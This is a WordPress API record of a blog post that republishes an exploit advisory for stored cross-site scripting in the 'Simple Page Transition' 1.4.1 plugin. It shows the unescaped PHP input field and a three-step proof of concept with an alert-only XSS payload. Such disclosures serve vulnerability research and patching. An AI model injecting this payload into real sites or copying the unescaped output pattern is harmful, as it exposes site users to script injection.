{"id":26275,"date":"2022-06-27T21:28:59","date_gmt":"2022-06-27T17:28:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167597\/wpspt141-xss.txt"},"modified":"2022-07-13T11:15:20","modified_gmt":"2022-07-13T06:45:20","slug":"wordpress-simple-page-transition-1-4-1-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-simple-page-transition-1-4-1-cross-site-scripting\/","title":{"rendered":"WordPress Simple Page Transition 1.4.1 Cross Site Scripting"},"content":{"rendered":"<pre dir=\"ltr\"><code># Exploit Title: WordPress Plugin \u2018Simple Page Transition\u2019 - Stored Cross\r\nSite Scripting\r\n# Date: 27-06-2022\r\n# Exploit Author: Mariam Tariq - HunterSherlock\r\n# Vendor Homepage: https:\/\/wordpress.org\/plugins\/simple-page-transition\/\r\n# Version: 1.4.1\r\n# Tested on: Firefox\r\n# Contact me: mariamtariq404@gmail.com<\/code><\/pre>\n<p dir=\"ltr\">*#Vulnerable code*:<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">&#8220;`<br \/>\n&lt;label for=&#8221;simple_page_transition_ignored&#8221;&gt;&lt;?php _e( &#8216;Ignored Download<br \/>\nLinks&#8217;, &#8216;spt&#8217; ); ?&gt;&lt;\/label&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; id=&#8221;simple_page_transition_ignored&#8221;<br \/>\nname=&#8221;simple_page_transition_ignored&#8221; value=&#8221;*&lt;?php print<br \/>\n$simple_page_transition_ignored; ?&gt;*&#8221; \/&gt;&lt;br \/&gt;<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">&#8220;`<br \/>\n*#POC:*<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">1- Install the plugin \u2018simple page transition\u2019 &amp; activate it.<br \/>\n2- Navigate towards the \u201cignored download links\u201d<br \/>\n3- Enter the XSS payload ` *\u201c&gt;&lt;img src=x onerror=alert(1)&gt;*`<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">*#POC image:*<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">\n<blockquote class=\"imgur-embed-pub\" lang=\"en\" data-id=\"yzaTkhi\"><p><a href=\"https:\/\/imgur.com\/yzaTkhi\" target=\"_blank\" rel=\"noopener\">View post on imgur.com<\/a><\/p><\/blockquote>\n<p><script async src=\"\/\/s.imgur.com\/min\/embed.js\" charset=\"utf-8\"><\/script><\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">\n<pre dir=\"ltr\"><code><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin \u2018Simple Page Transition\u2019 &#8211; Stored Cross Site Scripting # Date: 27-06-2022 # Exploit Author: Mariam Tariq &#8211; HunterSherlock # Vendor Homepage: https:\/\/wordpress.org\/plugins\/simple-page-transition\/ # Version: 1.4.1 # Tested on: Firefox # Contact me: mariamtariq404@gmail.com *#Vulnerable code*: &#8220;` &lt;label for=&#8221;simple_page_transition_ignored&#8221;&gt;&lt;?php _e( &#8216;Ignored Download Links&#8217;, &#8216;spt&#8217; ); ?&gt;&lt;\/label&gt;&lt;br \/&gt; &lt;input type=&#8221;text&#8221; id=&#8221;simple_page_transition_ignored&#8221; name=&#8221;simple_page_transition_ignored&#8221; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26275","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26275"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26275\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}